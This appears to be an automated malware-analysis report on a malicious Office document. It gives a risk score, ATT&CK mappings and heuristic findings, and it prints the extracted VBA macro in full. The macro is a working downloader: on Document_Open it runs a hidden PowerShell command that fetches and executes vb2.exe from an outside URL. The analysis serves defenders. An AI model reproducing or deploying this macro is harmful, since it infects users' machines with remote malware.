MALICIOUS
278
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1059.001 PowerShell
T1105 Ingress Tool Transfer
T1566.001 Spearphishing Attachment
The sample contains a VBA macro with a Document_Open auto-execution routine. This macro constructs and executes a PowerShell command that downloads a second-stage executable from 'https://assetsoption.com/wordpress/vb2.exe' and saves it to '%PROGRAMFILES%\vb2.exe' before executing it. This indicates a downloader or droppper functionality.
Heuristics 9
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VBA macros detected medium 5 related findings OLE_VBA_MACROSDocument contains VBA macro code
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Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Private Function fExecute(sVarName1 As Variant, sVarName2 As VbAppWinStyle) As Variant fExecute = Shell(sVarName1, sVarName2) End Function -
PowerShell reference in VBA critical OLE_VBA_PSPowerShell reference in VBAMatched line in script
Dim PShellCode As Variant PShellCode = "PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('https://assetsoption.com/wordpress/vb2.exe','%PROGRAMFILES%\vb2.exe');Start-Process '%PROGRAMFILES%\vb2.exe'" Call fExecute(fGetPath("COMSPEC") & " /c " & PShellCode, vbHide) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
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Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Option Explicit Private Sub Document_Open() Dim PShellCode As Variant -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
Private Function fGetPath(sVarName1 As Variant) As Variant fGetPath = Environ$(sVarName1) End Function -
Reference to PowerShell high SC_STR_POWERSHELLReference to PowerShell
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LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMANDExtracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL https://assetsoption.com/wordpress/vb2.exe In document text (OLE body)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 951 bytes |
SHA-256: d7e67448bf8c640c2e8f2501ab0b08fb48acf6266e1a270e3b62339b11786c4c |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_New()
Option Explicit
Private Sub Document_Open()
Dim PShellCode As Variant
PShellCode = "PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('https://assetsoption.com/wordpress/vb2.exe','%PROGRAMFILES%\vb2.exe');Start-Process '%PROGRAMFILES%\vb2.exe'"
Call fExecute(fGetPath("COMSPEC") & " /c " & PShellCode, vbHide)
End Sub
Private Function fGetPath(sVarName1 As Variant) As Variant
fGetPath = Environ$(sVarName1)
End Function
Private Function fExecute(sVarName1 As Variant, sVarName2 As VbAppWinStyle) As Variant
fExecute = Shell(sVarName1, sVarName2)
End Function
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